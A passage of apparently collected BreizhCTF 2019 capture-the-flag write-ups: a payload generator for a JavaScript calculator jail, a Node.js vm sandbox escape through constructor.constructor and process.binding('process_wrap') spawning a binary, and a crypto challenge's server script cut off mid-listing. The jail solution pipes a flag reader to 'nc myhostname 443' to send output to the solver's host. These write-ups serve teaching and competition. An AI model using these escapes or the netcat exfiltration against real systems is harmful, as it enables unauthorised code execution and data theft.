<span class="k">print</span> <span class="s">"E+'"</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">+</span> <span class="s">"'"</span>
<span class="k">print</span> <span class="s">"E=_"</span>
<span class="k">continue</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">source</span><span class="p">:</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="n">c</span><span class="p">:</span>
<span class="n">found</span> <span class="o">=</span> <span class="bp">True</span>
<span class="n">result</span> <span class="o">+=</span> <span class="n">c</span>
<span class="k">print</span> <span class="n">name</span> <span class="o">+</span> <span class="s">"+1"</span>
<span class="k">print</span> <span class="s">"_["</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">j</span><span class="p">)</span> <span class="o">+</span> <span class="s">"]"</span>
<span class="k">print</span> <span class="s">"E+_"</span>
<span class="k">print</span> <span class="s">"E=_"</span>
<span class="k">break</span>
<span class="n">j</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">if</span> <span class="n">found</span> <span class="o">==</span> <span class="bp">False</span><span class="p">:</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">source2</span><span class="p">:</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="n">c</span><span class="p">:</span>
<span class="n">found</span> <span class="o">=</span> <span class="bp">True</span>
<span class="n">result</span> <span class="o">+=</span> <span class="n">c</span>
<span class="k">print</span> <span class="n">name2</span> <span class="o">+</span> <span class="s">"+1"</span>
<span class="k">print</span> <span class="s">"_["</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">j</span><span class="p">)</span> <span class="o">+</span> <span class="s">"]"</span>
<span class="k">print</span> <span class="s">"E+_"</span>
<span class="k">print</span> <span class="s">"E=_"</span>
<span class="k">break</span>
<span class="n">j</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">def</span> <span class="nf">getQ</span><span class="p">():</span>
<span class="k">print</span> <span class="s">"X=E"</span>
<span class="n">generate</span><span class="p">(</span><span class="s">"process"</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="s">"A"</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="s">"M"</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"P=_"</span>
<span class="k">print</span> <span class="s">"E=''"</span>
<span class="n">generate</span><span class="p">(</span><span class="s">"moduleLoadList"</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="s">"A"</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="s">"M"</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"K=E"</span>
<span class="k">print</span> <span class="s">"T[P]"</span>
<span class="k">print</span> <span class="s">"Q=_"</span>
<span class="k">print</span> <span class="s">"Q[K]"</span>
<span class="k">print</span> <span class="s">"H=_"</span>
<span class="k">print</span> <span class="s">"H[47]"</span>
<span class="k">print</span> <span class="s">"N=_"</span>
<span class="k">print</span> <span class="s">"N[22]"</span>
<span class="k">print</span> <span class="s">"Q=_"</span>
</code></pre></div></div>
<p>The getQ function generates the instructions to obtain the letter “q” because there are no “q” on main or EVAL code.</p>
<p>Finally, we wrote the generation of the payload:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># payload generation
</span><span class="n">generate</span><span class="p">(</span><span class="s">"re"</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="s">"A"</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="s">"M"</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"R=_"</span>
<span class="k">print</span> <span class="s">"E=''"</span>
<span class="n">getQ</span><span class="p">()</span>
<span class="k">print</span> <span class="s">"E=''"</span>
<span class="n">generate</span><span class="p">(</span><span class="s">"uire"</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="s">"A"</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="s">"M"</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"U=_"</span>
<span class="k">print</span> <span class="s">"E=''"</span>
<span class="n">generate</span><span class="p">(</span><span class="s">"child_process"</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="s">"A"</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="s">"M"</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"R+Q"</span>
<span class="k">print</span> <span class="s">"R=_"</span>
<span class="k">print</span> <span class="s">"R+U"</span>
<span class="k">print</span> <span class="s">"R=_"</span>
<span class="k">print</span> <span class="s">"A(R)"</span>
<span class="k">print</span> <span class="s">"_(E)"</span>
<span class="k">print</span> <span class="s">"F=_"</span>
<span class="k">print</span> <span class="s">"E=''"</span>
<span class="n">generate</span><span class="p">(</span><span class="s">"exec"</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="s">"A"</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="s">"M"</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"F[E]"</span>
<span class="k">print</span> <span class="s">"F=_"</span>
<span class="k">print</span> <span class="s">"E=''"</span>
<span class="n">generate</span><span class="p">(</span><span class="s">"/home/guest/flag_reader | nc myhostname 443"</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="s">"A"</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="s">"M"</span><span class="p">)</span>
</code></pre></div></div>
<p>Once the output of the python generator executed on the JS calculator, we had the following vars :</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="nx">F</span>
<span class="p">[</span><span class="nb">Function</span><span class="p">:</span> <span class="nx">exec</span><span class="p">]</span>
<span class="o">></span> <span class="nx">E</span>
<span class="o">/</span><span class="nx">home</span><span class="o">/</span><span class="nx">guest</span><span class="o">/</span><span class="nx">flag_reader</span> <span class="o">|</span> <span class="nx">nc</span> <span class="nx">myhostname</span> <span class="mi">443</span>
</code></pre></div></div>
<p>Run the exec function F with the parameter E and get the flag :</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="nx">F</span><span class="p">(</span><span class="nx">E</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@myhostname#</span><span class="w"> </span>nc <span class="nt">-lp</span> 443
<span class="go">
breizhctf_flag{FORGOTTEN_FLAG}
</span></code></pre></div></div>tipi_hackSolves: 2 / Points: 200 / Category: JailBreizhCTF 2019 - calc-22019-04-14T00:00:00+00:002019-04-14T00:00:00+00:00https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2<p>Solves: 0 / Points: 400 / Category: Jail</p>
<h2 id="challenge-description">Challenge description</h2>
<p>See <a href="/assets/calc2.js">challenge source code</a></p>
<p>The sandbox is implemented using <a href="https://nodejs.org/api/vm.html">Node.js <code class="language-plaintext highlighter-rouge">vm</code> module</a>. Inside of it, we could only use the <code class="language-plaintext highlighter-rouge">log()</code> function.</p>
<h2 id="challenge-resolution">Challenge resolution</h2>
<p>Our goal is to execute a system command to obtain the flag.</p>
<h3 id="step-one-escape-from-the-vm">Step one: Escape from the vm</h3>
<p>To escape from the vm we will use a constructor of constructor to create an anonymous function with controlled body.</p>
<p>This is a simple example using Firefox JS console:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>></span> <span class="k">this</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">"</span><span class="s2">alert(1)</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">function</span> <span class="nx">anonymous</span><span class="p">()</span>
<span class="o">>></span> <span class="k">this</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">"</span><span class="s2">alert(1)</span><span class="dl">"</span><span class="p">).</span><span class="nx">toString</span><span class="p">()</span>
<span class="dl">"</span><span class="s2">function anonymous(
) {
alert(1)
}</span><span class="dl">"</span>
</code></pre></div></div>
<p>Using this technique we can execute code outside the vm context.
Indeed, the <code class="language-plaintext highlighter-rouge">this</code> object, when it is returned by calling <code class="language-plaintext highlighter-rouge">constructor</code>, is not restricted to log function:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">'</span><span class="s1">return this</span><span class="dl">'</span><span class="p">)());</span>
<span class="o">></span> <span class="nx">EOF</span>
<span class="p">[</span><span class="nb">Function</span><span class="p">:</span> <span class="nx">anonymous</span><span class="p">]</span>
<span class="nb">Object</span> <span class="p">[</span><span class="nb">global</span><span class="p">]</span> <span class="p">{</span>
<span class="nl">global</span><span class="p">:</span> <span class="p">[</span><span class="nx">Circular</span><span class="p">],</span>
<span class="nx">process</span><span class="p">:</span>
<span class="nx">process</span> <span class="p">{</span>
<span class="nl">title</span><span class="p">:</span> <span class="dl">'</span><span class="s1">nodejs</span><span class="dl">'</span><span class="p">,</span>
<span class="nx">version</span><span class="p">:</span> <span class="dl">'</span><span class="s1">v10.15.2</span><span class="dl">'</span><span class="p">,</span>
<span class="p">.</span>
<span class="p">.</span>
<span class="p">.</span>
<span class="nx">setImmediate</span><span class="p">:</span>
<span class="p">{</span> <span class="p">[</span><span class="nb">Function</span><span class="p">:</span> <span class="nx">setImmediate</span><span class="p">]</span> <span class="p">[</span><span class="nb">Symbol</span><span class="p">(</span><span class="nx">util</span><span class="p">.</span><span class="nx">promisify</span><span class="p">.</span><span class="nx">custom</span><span class="p">)]:</span> <span class="p">[</span><span class="nb">Function</span><span class="p">]</span> <span class="p">},</span>
<span class="nx">setInterval</span><span class="p">:</span> <span class="p">[</span><span class="nb">Function</span><span class="p">:</span> <span class="nx">setInterval</span><span class="p">],</span>
<span class="nx">setTimeout</span><span class="p">:</span>
<span class="p">{</span> <span class="p">[</span><span class="nb">Function</span><span class="p">:</span> <span class="nx">setTimeout</span><span class="p">]</span> <span class="p">[</span><span class="nb">Symbol</span><span class="p">(</span><span class="nx">util</span><span class="p">.</span><span class="nx">promisify</span><span class="p">.</span><span class="nx">custom</span><span class="p">)]:</span> <span class="p">[</span><span class="nb">Function</span><span class="p">]</span> <span class="p">}</span> <span class="p">}</span>
</code></pre></div></div>
<p>Comparing to the vm context:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">);</span>
<span class="o">></span> <span class="nx">EOF</span>
<span class="p">{</span> <span class="nl">log</span><span class="p">:</span> <span class="p">[</span><span class="nb">Function</span><span class="p">]</span> <span class="p">}</span>
</code></pre></div></div>
<h3 id="step-two-execute-a-shell-command">Step two: Execute a shell command</h3>
<p>The <code class="language-plaintext highlighter-rouge">process.mainModule</code> of the script was cleaned so we didn’t have access to the <code class="language-plaintext highlighter-rouge">require</code> function:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* remove mainModule for better security */</span>
<span class="nx">process</span><span class="p">.</span><span class="nx">mainModule</span> <span class="o">=</span> <span class="p">{};</span>
</code></pre></div></div>
<p>However, we identified that the <code class="language-plaintext highlighter-rouge">binding</code> function is available on the object returned by the constructor:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">proc</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">'</span><span class="s1">return this.process</span><span class="dl">'</span><span class="p">)());</span>
<span class="nl">binding</span><span class="p">:</span> <span class="p">[</span><span class="nb">Function</span><span class="p">:</span> <span class="nx">binding</span><span class="p">]</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">binding</code> function allows loading internal modules.
Firstly, we tried to read the flag from the file using the <code class="language-plaintext highlighter-rouge">fs</code> module:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">'</span><span class="s1">return this.process.binding</span><span class="dl">'</span><span class="p">)()(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">)</span>
</code></pre></div></div>
<p>Fail :(</p>
<p>But we were able to list directories and identify the flag location:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">'</span><span class="s1">return this.process.binding</span><span class="dl">'</span><span class="p">)()(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">).</span><span class="nx">readdir</span><span class="p">(</span><span class="dl">'</span><span class="s1">/home/guest</span><span class="dl">'</span><span class="p">,</span> <span class="p">{},</span> <span class="dl">""</span><span class="p">,</span><span class="dl">""</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">data</span><span class="p">)</span> <span class="p">{</span><span class="nx">data</span><span class="p">}));</span>
</code></pre></div></div>
<p>After a tip from the challenge author:</p>
<blockquote>
<p>you don’t have <code class="language-plaintext highlighter-rouge">child_process</code> and its <code class="language-plaintext highlighter-rouge">exec</code> function, so write it</p>
</blockquote>
<p>So let’s read <a href="https://github.com/nodejs/node/blob/master/lib/internal/child_process.js">nodejs source code on Github for <code class="language-plaintext highlighter-rouge">child_process</code></a>:</p>
<p>The outcome is that the <code class="language-plaintext highlighter-rouge">child_process</code> uses an internal binding of <code class="language-plaintext highlighter-rouge">process_wrap</code> to execute commands by calling the <code class="language-plaintext highlighter-rouge">spawn</code> function:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">{</span> <span class="nx">Process</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">internalBinding</span><span class="p">(</span><span class="dl">'</span><span class="s1">process_wrap</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">child</span><span class="p">.</span><span class="nx">spawn</span><span class="p">({</span>
<span class="na">file</span><span class="p">:</span> <span class="nx">opts</span><span class="p">.</span><span class="nx">file</span><span class="p">,</span>
<span class="na">args</span><span class="p">:</span> <span class="nx">opts</span><span class="p">.</span><span class="nx">args</span><span class="p">,</span>
<span class="na">cwd</span><span class="p">:</span> <span class="nx">options</span><span class="p">.</span><span class="nx">cwd</span><span class="p">,</span>
<span class="na">windowsHide</span><span class="p">:</span> <span class="o">!!</span><span class="nx">options</span><span class="p">.</span><span class="nx">windowsHide</span><span class="p">,</span>
<span class="na">windowsVerbatimArguments</span><span class="p">:</span> <span class="o">!!</span><span class="nx">options</span><span class="p">.</span><span class="nx">windowsVerbatimArguments</span><span class="p">,</span>
<span class="na">detached</span><span class="p">:</span> <span class="o">!!</span><span class="nx">options</span><span class="p">.</span><span class="nx">detached</span><span class="p">,</span>
<span class="na">envPairs</span><span class="p">:</span> <span class="nx">opts</span><span class="p">.</span><span class="nx">envPairs</span><span class="p">,</span>
<span class="na">stdio</span><span class="p">:</span> <span class="nx">options</span><span class="p">.</span><span class="nx">stdio</span><span class="p">,</span>
<span class="na">uid</span><span class="p">:</span> <span class="nx">options</span><span class="p">.</span><span class="nx">uid</span><span class="p">,</span>
<span class="na">gid</span><span class="p">:</span> <span class="nx">options</span><span class="p">.</span><span class="nx">gid</span>
<span class="p">});</span>
</code></pre></div></div>
<p>Hence, we have to create a <code class="language-plaintext highlighter-rouge">Process</code> object and call its <code class="language-plaintext highlighter-rouge">spawn</code> function to execute system commands:</p>
<p>1 - Check if the binding doesn’t fail:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">'</span><span class="s1">return this.process.binding</span><span class="dl">'</span><span class="p">)()(</span><span class="dl">'</span><span class="s1">process_wrap</span><span class="dl">'</span><span class="p">));</span>
<span class="o">></span> <span class="nx">EOF</span>
<span class="p">{</span> <span class="nl">Process</span><span class="p">:</span> <span class="p">[</span><span class="nb">Function</span><span class="p">:</span> <span class="nx">Process</span><span class="p">]</span> <span class="p">}</span>
</code></pre></div></div>
<p>2 - Instantiate a <code class="language-plaintext highlighter-rouge">Process</code> object:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">proc_wrap</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">'</span><span class="s1">return this.process.binding</span><span class="dl">'</span><span class="p">)());</span>
<span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">Process</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">proc_wrap</span><span class="p">(</span><span class="dl">'</span><span class="s1">process_wrap</span><span class="dl">'</span><span class="p">).</span><span class="nx">Process</span><span class="p">);</span>
<span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">process</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Process</span><span class="p">());</span>
</code></pre></div></div>
<p>3 - Call the <code class="language-plaintext highlighter-rouge">spawn</code> function with the good parameters:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">env</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">'</span><span class="s1">return this.process.env</span><span class="dl">'</span><span class="p">)());</span>
<span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">mproc</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">'</span><span class="s1">return this.process</span><span class="dl">'</span><span class="p">)());</span>
<span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">sot</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">'</span><span class="s1">return this.process.stdout</span><span class="dl">'</span><span class="p">)());</span>
<span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">sin</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="kd">constructor</span><span class="p">.</span><span class="kd">constructor</span><span class="p">(</span><span class="dl">'</span><span class="s1">return this.process.stdin</span><span class="dl">'</span><span class="p">)());</span>
<span class="o">></span> <span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">rc</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">spawn</span><span class="p">({</span><span class="na">file</span><span class="p">:</span><span class="dl">'</span><span class="s1">/home/guest/flag_reader</span><span class="dl">'</span><span class="p">,</span><span class="na">args</span><span class="p">:[],</span><span class="na">cwd</span><span class="p">:</span><span class="dl">"</span><span class="s2">/home/guest</span><span class="dl">"</span><span class="p">,</span><span class="na">windowsVerbatimArguments</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span><span class="na">detached</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span><span class="na">envPairs</span><span class="p">:</span><span class="k">this</span><span class="p">.</span><span class="nx">env</span><span class="p">,</span> <span class="na">stdio</span><span class="p">:[</span><span class="nx">mproc</span><span class="p">.</span><span class="nx">stdin</span><span class="p">,</span> <span class="nx">mproc</span><span class="p">.</span><span class="nx">stdout</span><span class="p">,</span> <span class="nx">mproc</span><span class="p">.</span><span class="nx">stderr</span><span class="p">]}));</span>
<span class="o">></span> <span class="nx">EOF</span>
<span class="nx">breizctf_flag</span><span class="p">{</span><span class="nx">FORGOTTEN_FLAG</span><span class="p">}</span>
</code></pre></div></div>tipi_hackSolves: 0 / Points: 400 / Category: JailBreizhCTF 2019 - Hallowed be thy name2019-04-14T00:00:00+00:002019-04-14T00:00:00+00:00https://tipi-hack.github.io/2019/04/14/breizhctf-19-hallowed-be-thy-name<p>Solves: ?? / Points: 300 / Category: crypto</p>
<h2 id="challenge-description">Challenge description</h2>
<p>We have the instructions to connect to a server and we can download its Python script.</p>
<p>The server offers 3 actions:</p>
<ol>
<li>“Enter plain, we give you the cipher”. It returns the ciphertext of the plaintext.</li>
<li>“Need a flag ?”. It returns a base64 encoded string, probably encrypted, and different each time it is called even within the same connection 🤔</li>
<li>Exit</li>
</ol>
<p>Here is the server script, by <a href="https://twitter.com/g4n4p4t1">@G4N4P4T1</a> (thank you for this challenge 👋), and of course the flag is redacted here:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">from</span> <span class="nn">threading</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">FLAG</span> <span class="o">=</span> <span class="s">"bzhctf{REDACTED}"</span>
<span class="n">serversocket</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">init_seed</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">65535</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">client</span><span class="p">(</span><span class="n">Thread</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">socket</span><span class="p">,</span> <span class="n">address</span><span class="p">):</span>
<span class="n">Thread</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span>
<span class="bp">self</span><span class="p">.</span><span class="n">addr</span> <span class="o">=</span> <span class="n">address</span>
<span class="bp">self</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">get_keystream</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">length</span><span class="p">):</span>
<span class="n">r2</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">Random</span><span class="p">()</span>
<span class="n">seed</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">65535</span><span class="p">)</span>
<span class="n">r2</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
<span class="n">mask</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">length</span><span class="p">):</span>
<span class="n">mask</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">r2</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">))</span>
<span class="k">return</span> <span class="n">mask</span>
<span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)):</span>
<span class="n">cipher</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
<span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">Random</span><span class="p">()</span>
<span class="n">r</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">init_seed</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'Welcome to the Cipherizator !</span><span class="se">\n</span><span class="s">1 : Enter plain, we give you the cipher</span><span class="se">\n</span><span class="s">2 : Need a flag ?</span><span class="se">\n</span><span class="s">3 : Exit'</span><span class="p">)</span>
<span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">>>> '</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">2</span><span class="p">).</span><span class="n">decode</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>
<span class="k">if</span> <span class="n">response</span> <span class="o">==</span> <span class="s">"1"</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">Enter plain : '</span><span class="p">)</span>
<span class="n">plain</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">).</span><span class="n">decode</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>
<span class="n">mask</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">get_keystream</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">plain</span><span class="p">))</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'Your secret : %s'</span> <span class="o">%</span> <span class="bp">self</span><span class="p">.</span><span class="n">xor</span><span class="p">(</span><span class="n">mask</span><span class="p">,</span> <span class="n">plain</span><span class="p">))</span>
<span class="k">elif</span> <span class="n">response</span> <span class="o">==</span> <span class="s">"2"</span><span class="p">:</span>
<span class="n">mask</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">get_keystream</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">FLAG</span><span class="p">))</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'Your secret : %s'</span> <span class="o">%</span> <span class="bp">self</span><span class="p">.</span><span class="n">xor</span><span class="p">(</span><span class="n">mask</span><span class="p">,</span> <span class="n">FLAG</span><span class="p">))</span>
<span class="k">elif</span> <span class="n">response</span> <span class="o">==</span> <span class="s">"3"</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sock</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">break</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"usage: %s port"</span> <span class="o">%</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">serversocket</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="s">'0.0.0.0'</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])))</span>
<span class="n">serversocket</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
